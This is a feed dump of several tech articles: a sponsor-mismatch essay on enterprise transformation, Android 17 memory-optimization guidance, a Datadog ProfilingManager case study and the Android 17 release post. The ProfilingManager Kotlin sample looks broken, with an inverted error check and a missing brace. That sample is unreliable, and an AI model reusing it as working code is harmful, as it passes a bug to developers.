  • Start simple, then layer complexity: Over-engineered prompts from Day One usually backfire.
  • Model specific tuning: Some models respond better to XML delimiters; others to explicit reasoning.
  • Evaluation and versioning: Treat prompts like code if you track versions and run automated evals.
  • Security guardrails: Always include instructions against prompt injections and respect data boundaries.
  • When to stop prompting: For repetitive, high-stakes workflows, move to full agents or an orchestration framework.

Final takeaways for technical leaders

Advanced prompt engineering has now become a core competency for anyone responsible for enterprise AI outcomes. Start by picking one technique and apply it rigorously to a real business problem. Document before/ after and you will notice why it’s worth mastering.

The field continues evolving towards more automated and agentic systems, but the ability to precisely direct AI reasoning remains foundational.

This article is published as part of the Foundry Expert Contributor Network.
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]]> <![CDATA[Sponsor mismatch is the silent killer of enterprise transformation]]> https://tsecurity.de/de/3694391/it-security-nachrichten/sponsor-mismatch-is-the-silent-killer-of-enterprise-transformation/ https://tsecurity.de/de/3694391/it-security-nachrichten/sponsor-mismatch-is-the-silent-killer-of-enterprise-transformation/ Sat, 25 Jul 2026 18:55:49 +0200 📰 IT Security Nachrichten tsecurity.de

Late in a large enterprise SAP transformation, the strategic governance conversations began to drift. Instead of executive decisions, we found ourselves debating whether the program needed dedicated testing, whether cutover required a full weekend, whether twenty Agile teams really needed coordination support and whether offshore resources were adding value at all.

The questions were not coming from the delivery teams. They were coming from the executive sponsor.

The sponsor had recently been elevated into a senior leadership role and had never sponsored a technology transformation at this scale. The challenge was not authority. The sponsor had every right to ask any question they wanted. The challenge was that strategic governance had quietly turned into a debate about delivery practices, because the sponsor did not yet have the transformation context to focus the conversation anywhere else.

This is not a story about a bad sponsor. The executive in this case was a capable senior leader with strong judgment and authentic intent. They had been placed into a role they had not yet been prepared for, and the pattern that followed was structural, not personal. It is one of the more common patterns I have observed across enterprise transformation programs, and one of the most consistently misdiagnosed.

Most program failures are not execution failures. They are sponsor mismatches.

When governance becomes a debate about delivery practices

When the sponsor does not understand what an enterprise transformation actually requires, governance forums stop functioning as decision bodies and start functioning as practice debates.

You see it in the questions that get asked. Why do we need a dedicated testing phase? Can the Build timeline be compressed? Why does cutover need a full weekend? Why do we need more Scrum Masters across 20 product teams? Can the US team simply work longer hours instead of using offshore resources? On one program, the sponsor suggested shifting the entire project’s working hours to India time, despite roughly 85 percent of the delivery organization being based in the United States.

None of these questions are unreasonable in isolation. Each one targets a real cost or timeline pressure. The problem is what is missing underneath them: an understanding of the operational risks the original choices were designed to mitigate.

When sponsors ask delivery-practice questions without that context, the program leadership team ends up defending the work instead of advancing it. Decision velocity drops. Trust between the program and its sponsor erodes. Senior delivery talent disengages from governance forums where the conversation never reaches the decisions they need made. What looks from the outside like an active sponsor producing engagement is, from inside the program, an active drain on the cycles needed to deliver.

The compounding cost is not unique to any single program. PMI’s research on executive sponsorship consistently identifies sponsor engagement quality, rather than sponsor presence alone, as one of the strongest predictors of project success. The visible symptom is debate. The actual cost is unmade decisions.

Authority is rarely the issue. Literacy is

When transformations stall under a mismatched sponsor, the diagnostic instinct is to question the sponsor’s authority. Are they senior enough? Do they have the cross-functional reach? Can they unblock?

In most of the programs I have led or advised, authority was not the limiting factor. The sponsor in the SAP program above had ample authority. They could unblock any decision the program needed. What had not been developed was the transformation literacy to know which decisions mattered, which were technical noise and which were execution risks that should not be optimized away.

This is what I have come to think of as the literacy problem. Sponsors elevated into transformation roles often have deep functional expertise (finance, operations, business unit leadership) but limited exposure to the distinct functions of PMO, organizational change management, agile delivery, testing and cutover, and how each one reduces a specific category of implementation risk. They are not expected to be SAP configuration experts. But they need enough transformation literacy to recognize which questions actually belong in a steering committee.

Harvard Business Review’s research on effective executive sponsorship has emphasized that sponsorship effectiveness depends as much on judgment as on authority. Judgment is where literacy becomes operational. A sponsor with authority but limited transformation literacy will optimize for speed and cost in ways that consistently underestimate risk. A sponsor with both will make the tradeoffs the program actually needs.

Prosci’s longstanding benchmark studies on change management have ranked active and visible executive sponsorship as the single greatest contributor to change success for two decades. The word that matters in that finding is active. Active sponsorship without transformation literacy can introduce real cost. Not because the sponsor is acting against the program, but because the optimization choices they make are based on incomplete information about what the program is built to protect against.

Shift the conversation from delivery practices to business risk

When the sponsor relationship is already in place and cannot be changed, the program leadership team has one move that consistently works: shift the conversation.

On the SAP program above, we stopped explaining why the testing phase existed. We started explaining the business risk of reducing it. We stopped debating the number of Scrum Masters. We started connecting delivery capacity to coordination across more than twenty Agile teams and the business cost of losing that coordination. We reframed offshore support as a way to maintain delivery momentum around the clock rather than asking the U.S. team to sustain fifteen-hour days.

The shift is from defending delivery practice to explaining business risk. The sponsor does not need to understand why testing takes the time it does. They need to understand what the program is exposed to if testing is compressed. They do not need to know how many Scrum Masters are statistically optimal for twenty Agile teams. They need to know what coordination breaks when the number is wrong.

This reframing accomplishes two things. First, it brings the conversation back to the level at which sponsors actually make decisions: tradeoffs between business outcomes and business risks. Second, it builds transformation literacy in the sponsor over time, almost as a byproduct. By the third or fourth iteration of business-risk-framed conversations, the sponsor begins to ask the right questions on their own.

In practice, this happens through small but deliberate moves. When the sponsor asks why a phase needs the time it takes, the program lead names two or three things that could go wrong if the time is cut and what each would cost the business. When the sponsor asks why a role is needed, the program lead names the work that would not get done without it. Every delivery-practice question gets converted into a business-risk answer.

The program leadership team’s job is not to make the sponsor an expert in SAP delivery. It is to provide enough transformation context so that executive decisions reflect both business priorities and implementation realities.

There are a few phrases I have used with executive sponsors over the years that capture the underlying issue. The sharpest one:

If the decision has to go above the sponsor, they are not the sponsor.

Sponsorship is defined by what the sponsor can decide without asking someone else. That is the test. Anything else is the appearance of sponsorship, not the substance.

For CIOs supporting enterprise transformation, the implication is direct. Sponsor selection, or sponsor preparation when selection is not an option, is not a hierarchy question. It is a transformation capability question. The same execution discipline that goes into defining decision rights, structuring governance and protecting delivery momentum should apply, with equal rigor, to assessing sponsor fit and building sponsor literacy before the program begins.

A sponsor does not need to be the technical expert. They do need to know when to trust the people who are.

This article is published as part of the Foundry Expert Contributor Network.
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]]> <![CDATA[Assetto Corsa EVO: Update 0.8.1 mit verschiedenen Fehlerkorrekturen - News - speedmaniacs.com]]> https://tsecurity.de/de/3693915/windows-server/assetto-corsa-evo-update-081-mit-verschiedenen-fehlerkorrekturen-news-speedmaniacscom/ https://tsecurity.de/de/3693915/windows-server/assetto-corsa-evo-update-081-mit-verschiedenen-fehlerkorrekturen-news-speedmaniacscom/ Sat, 25 Jul 2026 14:37:39 +0200 🪟 Windows Server tsecurity.de windows server, revamped server-backend-client data exchange for sha with more UI info on missing cars, fixed ...]]> <![CDATA[Prioritizing Memory Efficiency: Essential Steps for Android 17]]> https://tsecurity.de/de/3693508/android-tipps/prioritizing-memory-efficiency-essential-steps-for-android-17/ https://tsecurity.de/de/3693508/android-tipps/prioritizing-memory-efficiency-essential-steps-for-android-17/ Sat, 25 Jul 2026 10:15:41 +0200 🤖 Android Tipps tsecurity.de
Posted by Alice Yuan, Developer Relations Engineer, Ajesh Pai, Developer Relations Engineer, and Fung Lam, Developer Relations Engineer

While app performance is often equated with a smooth UI and fast start times, memory serves as the silent foundation upon which these visible metrics are built. It's no secret that we're seeing a shift where device memory is more important than ever. Not only have we made strides in Android memory optimizations with Android 17, we're providing the tooling and API support to help you stay ahead of stricter memory requirements later this year.

To ensure device stability, starting in Android 17, the system will begin enforcing app memory limits based on the device's total RAM. If an app exceeds those limits, Android will kill the process with no associated stack trace.

Beyond these forced terminations, unoptimized memory usage inevitably degrades the user experience. When the app approaches heap memory limits, it triggers frequent garbage collection—leading to noticeable UI stutters. Furthermore, when a device runs out of available memory, the system scrambles to reclaim pages, causing CPU strain, UI latency, and battery drain. If the memory shortage is too severe, it can cause Low Memory Killer (LMK) events that abruptly terminate background processes and force apps to have slow cold starts and lose user state.

To build highly performant apps and avoid these forced terminations, we recommend that you adopt the following memory optimization strategies:

  1. Maximize bytecode optimization with R8
  2. Optimize image loading
  3. Detect and fix memory leaks with Android Studio
  4. Trim memory when app leaves visible state
  5. Advanced memory observability with ProfilingManager

A condensed version of this blog post is also available in video format, go check it out!

Understanding Android 17 app memory limits

App memory limits are being introduced in Android 17 to prevent "one bad actor" from destroying the multitasking experience and stability of the user’s entire device.

Here is a breakdown of the reasons driving this architectural change:

  • Preventing cascading kills: When an app becomes bloated or leaks memory while holding a privileged state (e.g. it’s running a Foreground Service), it is initially shielded from the system's Low Memory Killer (LMK). As this single app grows unchecked and hoards RAM, the LMK is forced to compensate by killing off dozens of smaller, well-behaved cached apps and background jobs to reclaim space for the memory hog.
  • Preserving multitasking and user state: When the system is forced to purge cached apps to accommodate a single leaking process, the multitasking experience is severely degraded. Users returning to prior cached applications encounter sluggish cold starts instead of near-instant warm resumes. This inefficiency generates more CPU strain and accelerates battery depletion. It can also destroy the user’s context in recently used apps, such as scroll positions, navigation stacks, and in-game progress.

To determine if your app session was impacted by these constraints in the field, you can call getDescription() within ApplicationExitInfo. If the system applied a limit, the exit reason is reported as REASON_OTHER and the description string will contain "MemoryLimiter:AnonSwap". You can also leverage trigger-based profiling using TRIGGER_TYPE_ANOMALY to automatically capture heap dumps when the memory limit is reached. Furthermore, Android is actively working to surface more in-field memory metrics to developers within the Google Play Console.

We have also expanded our memory limits documentation to include local debugging commands, allowing you to simulate memory constraints in your local environment and validate your application's behavior under any memory limit enforcement. 

Maximize bytecode optimization with R8

A highly effective way to reduce your app's memory footprint is to enable the R8 optimizer. By shrinking classes, methods, and fields into shorter names and stripping out unused code and resources, R8 significantly reduces your app's memory footprint by minimizing the amount of resident code required during execution. 

R8 minimizes resident code, shrinking the memory footprint and lowering LMK termination risk. This results in more frequent warm starts over slow cold starts. Additionally, streamlined bytecode reduces main-thread CPU overhead, directly cutting ANR rates for a more fluid user experience. For example, the digital bank Monzo enabled full R8 optimization and saw a 35% reduction in their ANR rate, a 30% improvement in cold start rate, and a 9% reduction in overall app size.

The digital bank Monzo enabled full R8 optimization and boosted performance metrics by up to 35%.

To properly configure R8 in your build.gradle file:

  • Set isShrinkResources = true and isMinifyEnabled = true.
  • Use proguard-android-optimize.txt instead of the legacy proguard-android.txt, which actually prevents optimizations and is no longer supported in Android Gradle Plugin 9.
  • Remove android.enableR8.fullMode = false from your gradle.properties.

If you are using reflection in your code base, then add Keep rules to prevent R8 from optimizing those parts of the code. Make sure to scope the keep rules narrowly to get the maximum optimization.

To get the maximum optimization, make sure to follow these best practices in your keep rule file.

  • Remove global options like -dontoptimize, -dontshrink, and -dontobfuscate that prevent R8 from optimizing the entire codebase 
  • Remove keep rules that prevent optimizing Android components like Activity, Services, Views or Broadcast receivers.
  • Refine the broad package wide keep rules to target only specific classes or methods.

To see more best practices, view our keep rules documentation.

Library Developer R8 Best Practices

If you are a library developer, strictly place the rules your consumers need into your consumer-rules file, and keep your library's internal protection rules in your proguard-rules.pro file. For more information on how to optimize libraries, see Optimization for library authors.

R8 Configuration Analyzer

To audit your R8 optimization, use the Configuration Analyzer. Configuration analyzer shows the current state of optimization with Obfuscation, Optimization, and Shrinking scores. With configuration analyzer, you can also understand how many classes, methods or fields are prevented from optimization by each keep rule. Refine these broad package wide keep rules to unlock the maximum optimization.

Using configuration analyzer, you can also identify keep rules that are subsuming other keep rules, redundant keep rules and unused keep rules.

The Configuration Analyzer shows the current state of optimization with Obfuscation, Optimization, and Shrinking scores.

R8 Agent Skill 

You can also leverage the R8 Agent Skill with Android Studio agent or other AI tools to resolve misconfigurations and refine your rules resulting in improved app performance. (Insights from AI-driven skills will require technical verification)

Optimize image loading

Bitmaps are usually the largest common objects residing in your app's memory. They represent the final stage of the image loading process where compressed files, like JPEGs or PNGs, are decoded into raw pixel data for display. This means a tiny 100KB compressed image can balloon into several megabytes of RAM because memory consumption is determined by the image's pixel dimensions and color depth. Since bitmap operations are frequently on the critical path to drawing frames, unoptimized images cause severe memory bloat and UI jank.

Google recommends leveraging image loading libraries Coil for Kotlin-first projects, particularly when developing with Jetpack Compose and Glide for Java-based applications.

Adopt these five best practices

  1. Downsample images: If you’re loading bitmaps manually, avoid loading a massive image into a tiny thumbnail view; use inSampleSize to load a smaller version. Glide and Coil downsamples images by default and you can configure this downsample strategy using DownsampleStrategy and ImageLoader respectively.
  2. Cropping: Avoid embedding padding directly into an image file for letterboxing purposes (e.g., creating a transparent border to expand an image dimensions). Rather than baking in these borders, utilize InsetDrawable or apply padding directly within the View or Composable containing the bitmap.
  3. Config: Balance memory and quality by choosing the right pixel format. Use RGB_565 when transparency isn't needed, which uses half the memory of the default ARGB_8888 format. In Glide you can configure this by using DecodeFormat and in Coil you can use bitmapConfig property.
  4. Prioritize vector drawables: For basic geometric assets, leverage ShapeDrawable as a lightweight alternative to decoding rasterized bitmaps. By defining these assets once via XML, you ensure they scale seamlessly across all display densities while effectively eliminating resource-driven memory bloat.
  5. Reuse: If your application manages Bitmaps manually then to minimize memory churn, when a bitmap is no longer required, the app should call bitmap.recycle() and immediately discard the Bitmap reference. If you use an image loading library like Glide or Coil, return the bitmap to the library’s managed pool. By providing an existing buffer for future memory needs, the pool effectively avoids the overhead of new allocations.

Check out our documentation on Optimizing performance for images to learn more.

Android Studio tooling

You can also eliminate redundant bitmaps using Android Studio Narwhal 4. Here is how to hunt them down in five simple steps:

  1. Open the Profiler tab in Android Studio
  2. Click Heap Dump (or "Analyze Memory Usage") and hit record to take a snapshot of your app’s current memory state.
  3. Scan the analysis results for the yellow warning triangle ⚠️, which Android Studio uses to flag duplicate bitmaps being stored multiple times. Alternatively, navigate to the profiler header, choose "Filter by:" and pick the "Duplicate Bitmaps" setting.
  4. Click on any flagged entry to open the Bitmap Preview pane, allowing you to see exactly which image is the repeat offender.
  5. Use that visual confirmation to track down the redundant loading logic in your code and implement a better caching strategy.
Look for the yellow warning triangle ⚠️ in heap dumps when using the Android Studio Profiler.

Detect and fix memory leaks with Android Studio

Memory leaks in Android occur when your code holds onto an object's reference long after its lifecycle has ended. This prevents the Garbage Collector (GC) from reclaiming that memory, eventually leading to sluggish performance or OutOfMemoryError (OOM).

Android Studio Panda 3 features a dedicated LeakCanary profiler task, allowing developers to analyze real-time memory leaks and map traces within the IDE.

The LeakCanary profiler task in Android Studio actively moves the memory leak analysis from your device to your development machine, resulting in a significant performance boost during the leak analysis phase as compared to on-device leak analysis.

LeakCanary memory leak analysis contextualized with Go to declaration for debugging

Additionally, the leak analysis is now contextualized within the IDE and fully integrated with your source code, providing features like go to declaration and other helpful code connections that drastically reduce the friction and time required to investigate and fix memory leaks.

Examples of common memory leaks 

Memory leaks occur when an object persists in memory beyond its intended lifespan. This typically happens due to:

  • Retaining references to Fragments, Activities, or Views that are no longer in use.
  • Mismanaging Context references.
  • Failing to properly unregister observers, listeners, and receivers.
  • Creating static references to objects that are bound to components with shorter lifecycles.

Here are a few example scenarios:

Scenario

Compose-based example

View-based example

Leaking Context

Example:
Passing LocalContext.current to a ViewModel

Fix:
Keep Context dependent logic within the UI layer. For non-UI layers, refactor to use dependency injection or observe UI state using Kotlin flow.

Example:
Storing an Activity in a companion object or static variable.

Fix:
Don’t hold static references to UI components. Refactor to use dependency injection or observe UI state using Kotlin flow.

Leaking Listeners

Example:
Using DisposableEffect to start a listener but leaving onDispose empty.

Fix:
Perform the unregistration and cleanup logic inside the onDispose block.

Example:
Registering for SensorManager updates and forgetting to unregister.

Fix:
Manually call unregisterListener() in onStop() or onDestroy() lifecycle.

Leaking Views

Example:
Holding a reference to a legacy View inside an AndroidView without a release strategy.

Fix:
Use the release block of the AndroidView composable to clean up the legacy View.

Example:
Keeping a reference to a view binding object after the Fragment is destroyed.

Fix:
Set the binding variable to null inside the onDestroyView() lifecycle method.

Trim memory when app leaves visible state

Android can reclaim memory from your app or stop your app entirely if necessary to free up memory for critical tasks, as explained in Overview of memory management. Android will usually reclaim memory from your app when it’s not visible to the user, such as by discarding some of your app’s code and data pages in memory or compressing your heap allocations. When the user resumes your app and your app tries to access some memory that’s been reclaimed, the OS will swap that memory back in on demand. This swapping behavior can be slow, and cause unexpected jank or stutters in your app.

If you leave it to the OS to decide what memory to reclaim from your app, you may find that the OS reclaimed memory that you’ll need shortly after resuming your app. Instead, your app can voluntarily discard memory allocations that it can regenerate later, on demand and at a low cost. To do so, you can implement the ComponentCallbacks2 interface. You can implement onTrimMemory in your Activity, Fragment, Service, or even your custom Application class. Using it in the Application class is highly effective for global cache management.

The provided onTrimMemory() callback method notifies your app of lifecycle or memory-related events that present a good opportunity for your app to voluntarily reduce its memory usage.

In terms of memory lifecycle management, your implementation should focus exclusively on TRIM_MEMORY_UI_HIDDEN and TRIM_MEMORY_BACKGROUND. Since Android 14, the system has ceased delivering notifications for other legacy constants, which were formally deprecated in Android 15.

TRIM_MEMORY_UI_HIDDEN: This signal indicates that your application's UI has transitioned out of the user's view. This provides an opportunity to release substantial memory allocations tied strictly to the interface—such as Bitmaps, video playback buffers, or complex animation resources.

TRIM_MEMORY_BACKGROUND: At this level, your process is residing in the background and is now a candidate for termination to satisfy the system's global memory needs. To extend the duration your process remains in the cached state, and reduce the number of app cold starts, you should aggressively release any resources that can be easily reconstructed once the user resumes their session.

import android.content.ComponentCallbacks2
// Other import statements.

class MainActivity : AppCompatActivity(), ComponentCallbacks2 {

    /**
     * Release memory when the UI becomes hidden or when system resources become low.
     * @param level the memory-related event that is raised.
     */
    override fun onTrimMemory(level: Int) {

        if (level >= ComponentCallbacks2.TRIM_MEMORY_UI_HIDDEN) {
            // Release memory related to UI elements, such as bitmap caches.
        }

        if (level >= ComponentCallbacks2.TRIM_MEMORY_BACKGROUND) {
            // Release memory related to background processing, such as by
            // closing a database connection.
        }
    }
}

Note: The onTrimMemory integration may depend on SDK support. For instance, certain games rely on their game engine to enable this capability. Please check out the game memory optimization documents.

Advanced memory observability with ProfilingManager

To catch and diagnose memory issues in the field that cannot be reproduced locally, you should leverage the ProfilingManager API. Introduced in Android 15, this advanced observability API allows you to programmatically collect real-user Perfetto profiles.

For teams that lack a dedicated infrastructure to manage and host performance artifacts, Crashlytics is exploring a specialized solution to streamline this workflow. They are inviting developers to provide feedback.

Android 17 introduces new event-driven triggers, most notably TRIGGER_TYPE_OOM and TRIGGER_TYPE_ANOMALY:

  • The OOM trigger automatically collects a Java heap dump at the exact moment an OutOfMemoryError crash occurs, providing precise allocation states. A collected OOM profile is provided the next time the app starts and registers the registerForAllProfilingResults callback.
  • The Anomaly trigger detects severe performance issues, such as excessive binder spam or breached memory thresholds. The memory anomaly delivers a heap dump just prior to the system terminating the app.
  val profilingManager = 
applicationContext.getSystemService(ProfilingManager::class.java)
    val triggers = ArrayList()  


    triggers.add(ProfilingTrigger.Builder(
                 ProfilingTrigger.TRIGGER_TYPE_ANOMALY))
    val mainExecutor: Executor = Executors.newSingleThreadExecutor()
    val resultCallback = Consumer { profilingResult ->
        if (profilingResult.errorCode != ProfilingResult.ERROR_NONE) {
            // upload profile result to server for further analysis          
            setupProfileUploadWorker(profilingResult.resultFilePath)
        } 

    profilingManager.registerForAllProfilingResults(mainExecutor, resultCallback)
    profilingManager.addProfilingTriggers(triggers)

Once you’ve collected the heap dump, you can download the profile from the server, or locally via adb pull and drag and drop the file into the Perfetto UI. To streamline your memory debugging workflow, use the Heap Dump Explorer, this is the new default view for heap dumps in Perfetto UI. This tool provides an intuitive interface for inspecting Java heap dumps, allowing you to visualize object allocation hierarchies, compute retained memory sizes, and identify the shortest path from garbage collection root. By leveraging the Heap Dump Explorer, you can rapidly pinpoint memory leaks, bloated retained objects such as excessive bitmap allocations, and analyze heap object allocations all in one place.

Use the Heap Dump Explorer’s embedded flamegraph to visually inspect and navigate through objects with the highest heap allocations.

Conclusion

Optimizing bytecode with R8, adopting image loading best practices, and resolving memory leaks are critical steps toward delivering a high-quality user experience while managing resources effectively under pressure. Adopting these proactive measures helps maintain app stability and performance, preventing unexpected terminations while safeguarding user context. To further your performance expertise, explore our revised memory guidance.

]]> <![CDATA[Datadog delivers millions of in-depth performance insights with ProfilingManager]]> https://tsecurity.de/de/3693507/android-tipps/datadog-delivers-millions-of-in-depth-performance-insights-with-profilingmanager/ https://tsecurity.de/de/3693507/android-tipps/datadog-delivers-millions-of-in-depth-performance-insights-with-profilingmanager/ Sat, 25 Jul 2026 10:15:39 +0200 🤖 Android Tipps tsecurity.de

Posted by Alice Yuan, Developer Relations Engineer at Google, Arti Arutiunov, Product Manager at Datadog and Nikita Ogorodnikov, Staff Software Engineer at Datadog



Performance regressions are notoriously hard to reproduce, making regressions a massive bottleneck for mobile developers. Although signals like ANR rates indicate what issues occur in production, pinpointing the specific line of code that resulted in the performance issue has historically necessitated exhaustive manual reproduction or speculative trial-and-error experimentation.

Datadog collaborated with Google to mitigate this frustration by integrating the ProfilingManager API (available on Android 15+ devices) into its Real User Monitoring (RUM) and Continuous Profiling platforms. This integration transforms the debugging workflow, allowing developers to move beyond surface-level symptoms to being able to detect the why behind a performance bottleneck.

By leveraging this system-level API, Datadog now processes millions of production profiles weekly across the globe according to Datadog internal data of June 2026. It provides engineering teams with a new level of visibility into real-world performance, all while maintaining a low runtime overhead for production-scale performance monitoring.

The impact of ProfilingManager

ProfilingManager is a system service introduced in Android 15 that enables apps to programmatically collect performance data such as call stack samples, field traces and memory heap dumps directly from production environments. This capability shifts the engineering paradigm from reactive manual reproduction to proactive field analysis.

ProfilingManager is a highly performant solution for code-level insights. Of the solutions we evaluated, it has the lowest runtime overhead, gives deep visibility into Java, Kotlin, and C++ traces, and opens the door to gather memory profiles and system-level traces during critical moments like ANRs and out-of-memory (OOM) errors. Yi Lu, Senior Engineer at Datadog


For example, a Google communications app used field traces to investigate why its cold start times were slower on newer, more powerful hardware. By diving into the field-collected traces and comparing traces across different device types, the engineer discovered a hidden scheduling issue: a background text-to-speech service was unnecessarily being prewarmed during app startup. The traces revealed that this background process was monopolizing the device's highest-performing big CPU core, forcing the app's main thread to sleep while the prewarm occurred.

Solving the Android code-level visibility challenge

Prior to the implementation of ProfilingManager, Datadog’s Real User Monitoring (RUM) focused on high-level application health and session-level telemetry to assess the user journey. Engineering teams could monitor Android performance signals like time to initial display, ANR rates, CPU load, and frozen frames. These insights extended to granular interactions, such as network latency, touch events, and main thread hangs. However, while this data effectively highlighted which performance bottlenecks were surfacing in the field, it provided no clear path to identifying the root cause of these failures.


We realized that across our profiling features, performance profiling on mobile applications remained a blind spot. Teams could see that an Android user experienced a slow screen render or an ANR, but lacked the same code-level visibility they relied on for their backend services. - Bryan Antigua, Senior Product Manager at Datadog


To address this, Datadog needed a profiling engine capable of capturing Android traces directly from devices in production with minimal performance impact. After evaluating alternative approaches, such as writing their own trace processor using Android Debug APIs, the team selected ProfilingManager because it is the most performant solution of the profiling options they evaluated and offloads the sampling decisions overhead to the OS.

ProfilingManager supports a wide range of collection methods, including CPU traces, call stack sampling, memory analysis through Java heap dumps and native heap profiles. It enables developers to profile production builds, upload trace files to external storage, and review them in the Perfetto trace analyzer UI. As a SaaS provider, Datadog uploads, visualizes, and analyzes these profiles collected via its SDK, providing a unified view of application health.

By centralizing high-fidelity telemetry within a unified observability API, ProfilingManager empowers Datadog and its clients to proactively monitor, investigate, and remediate complex Android performance regressions through key technical advantages:
  • Granular session diagnostics: ProfilingManager enhances debuggability by delivering direct OS-level trace data, overcoming the visibility and alignment challenges typical of custom logging with system services. To dive deeper, developers can download these traces from Datadog to investigate further in visualization tools like the Perfetto UI.
  • Automated telemetry triggers: By leveraging native system events to initiate trace recordings at key optimization points, Datadog reduces the need to build custom collection logic. While the initial rollout focuses on the APP_FULLY_DRAWN signal, there are already plans to expand this observability to include ANR, OOM, and COLD_START triggers.
  • Proactive trace snapshots: By interfacing directly with the system-level Perfetto service (traced), ProfilingManager utilizes a proactive background recording model designed to capture unpredictable issues. This ensures that developers receive a precise visualization of the events leading up to a performance anomaly, offering a level of insight that exceeds what is possible through manual instrumentation.
  • Bottleneck detection at scale: Datadog is able to synthesize telemetry from across Datadog’s global customer base to uncover regressions that only emerge under unique hardware configurations and variable network environments.
  • System-enforced resource stability: The API leverages sampling trace collection to ensure performance and user experience impacts remain unnoticeable.
  • On-device data controls: ProfilingManager filters out irrelevant information from other processes on-device before the profile is delivered to the app. This minimizes file sizes and ensures that only data relevant to the app's processes is provided.

Processing millions of weekly profiles to optimize real-world apps

An example of Datadog's time to initial display measurement with 
stack sampling powered by ProfilingManager

Integrating a system-level profiling API into a global monitoring SDK required solving infrastructure challenges. Because ProfilingManager generates highly detailed performance traces, the Datadog engineering team had to build a pipeline capable of parsing and analyzing these profiles on the server side at scale. Beyond profile collection, Datadog also emphasizes the importance of balancing sampling frequency with collecting enough data to generate meaningful insights about your application. Datadog relies on ProfilingManager’s built-in rate limiting as a critical stability safeguard, preventing excessive telemetry requests from overburdening user devices.

The team has been profiling Datadog's own native Android application and a number of early adopters’ applications for months, gathering millions of profiles to ensure a fast, error-free launch experience and to refine their performance-detection algorithms. Today, the production integration seamlessly scales across a variety of Android devices.

Conclusion

By integrating Android’s ProfilingManager API, Datadog successfully closed the visibility gap between backend systems and mobile client applications for their customers. By processing millions of profiles weekly with negligible device overhead, Datadog equips Android developers with the code-level insights necessary to diagnose complex performance bugs instantly, helping developers build smoother applications and improve their app’s performance signals in the Play Store. To adopt the ProfilingManager API directly into your performance observability framework, check out our documentation.

In the future, Datadog aims to make Android profiling data a first-class input for coding agents to autonomously resolve performance bottlenecks, closing the feedback loop between detection and remediation. Datadog is working toward making Android profiling broadly accessible to developers.

To get started using the Datadog real user monitoring feature powered by ProfilingManager, visit Datadog Mobile Real User Monitoring.

]]> <![CDATA[Android 17 is here]]> https://tsecurity.de/de/3693505/android-tipps/android-17-is-here/ https://tsecurity.de/de/3693505/android-tipps/android-17-is-here/ Sat, 25 Jul 2026 10:15:36 +0200 🤖 Android Tipps tsecurity.de
Posted by Matthew McCullough, VP of Product Management, Android Developer


Today we're releasing Android 17 and making it available on most supported Pixel devices. Look for new devices running Android 17 in the coming months.

Android 17 marks the start of our transition to an intelligence system, putting your apps at the center. It's shifting to an adaptive-first development standard by introducing mandatory large-screen resizability, all while delivering next-generation privacy, security, media, camera, and performance. We'll cover all that in this post, as well as how we're bringing together next generation tools, libraries, and agent skills to help your apps embrace the opportunity.

Throughout the past year, from our Canary channel to our Beta releases, we’ve collaborated with you in the developer community to build a platform you and your users can trust. To that end, this moment marks the availability of the source code at the Android Open Source Project (AOSP). This allows you to examine the source code for a deeper understanding of how Android works.

Let's dive deeper into Android 17.

An intelligence system

With deep integration between hardware, software and AI, we’re transforming Android from an operating system to an intelligence system. It's about delivering new helpful experiences that anticipate user needs, and it brings more opportunities for engagement with your apps. To that end, Android 17 expands the capabilities of AppFunctions, a platform API with a corresponding Jetpack library. It allows you to contribute your app's unique capabilities as orchestratable "tools" for Android MCP, the on-device equivalent of the Model Context Protocol. AI agents and assistants (like Google Gemini) can discover and execute AppFunctions to perform workflows on behalf of the user with direct access to the app's local state.

The Jetpack library, currently in alpha, makes adding AppFunctions as easy as annotating a class and adding KDoc comments.

/**
 * A note app's [AppFunction]s.
 */
class NoteFunctions(
    private val noteRepository: NoteRepository
) {
    /**
     * Adds a new note to the app.
     *
     * @param appFunctionContext The execution context.
     * @param title The title of the note.
     * @param content The note's content.
     */
    @AppFunction(isDescribedByKDoc = true)
    suspend fun createNote(
        appFunctionContext: AppFunctionContext,
        title: String,
        content: String
    ): Note {
        return noteRepository.createNote(title, content)
    }
}

We’ve also launched an AppFunctions agent skill that analyzes your app’s key workflows, automatically generates the required Kotlin code, optimizes your KDocs for LLM tool-calling, and provides ADB commands for testing and debugging.

The Gemini integration is currently in a private preview with trusted testers, but you can begin preparing your apps now. In addition to ADB commands to execute your AppFunctions, we've provided a test agent app that includes an interface to discover and execute your app functions and simulate an AI agent integration. Join our integration early access program at goo.gle/eap-af for a chance to be among the first apps to deploy AppFunctions to production.

Adaptive-first

Your users no longer rely on a single form factor; they transition between phones, foldables, tablets, laptops, automotive displays, and immersive XR environments. Now, with over 580 million large screen devices in the hands of users and the forthcoming launch of Googlebooks, the next generation of ChromeOS built on the Android stack, adaptive is no longer just a technical goal. It’s a massive opportunity to reach highly engaged users, which is one of the reasons we're shifting to an adaptive-first development standard.

No resizability/orientation restrictions on large screens

To ensure apps deliver a premium experience across all form factors, including mobile devices running in desktop mode on connected displays, Android 17 (API level 37) removes the developer opt-out for orientation and resizability restrictions on large screen devices (sw > 600 dp) for apps targeting API level 37. The system will ignore legacy manifest attributes and runtime APIs, including screenOrientation, setRequestedOrientation(), resizeableActivity=false, and aspect ratio constraints (minAspectRatio/maxAspectRatio). Games (based on app category in Google Play) remain exempt. Your app must be ready to adapt to any window size, respect the user's preferred device posture, and support free-form windowing natively.

Next-gen multitasking: App Bubbles, Bubble Bar, and desktop interactive PiP

Android 17 introduces powerful new windowing capabilities that redefine how users multitask, demanding even greater layout flexibility from your apps:

  • App Bubbles: Moving beyond the messaging bubbles API, users can now transform any app into a floating bubble by long-pressing its icon on the launcher. This feature is available across phones, foldables, and tablets, enabling lightweight multitasking for any workflow.
  • The Bubble Bar: On large screens (tablets and foldables), the system taskbar now includes a dedicated Bubble Bar to organize, transition between, and dock these floating app bubbles.
  • Desktop interactive PiP: In desktop environments, Android 17 introduces interactive Picture-in-Picture (PiP). Unlike traditional PiP windows which are read-only, these pinned windows remain fully interactive while staying always-on-top of other application windows.

App Bubbles and Bubble Bar in action

Activity recreation updates

To prevent disruptive state loss and stutter, Android 17 updates the default behavior for Activity recreation. The system will no longer restart activities by default for typical configuration changes that do not require a full UI redraw (including CONFIG_KEYBOARD, CONFIG_KEYBOARD_HIDDEN, CONFIG_NAVIGATION, CONFIG_TOUCHSCREEN, and CONFIG_COLOR_MODE).
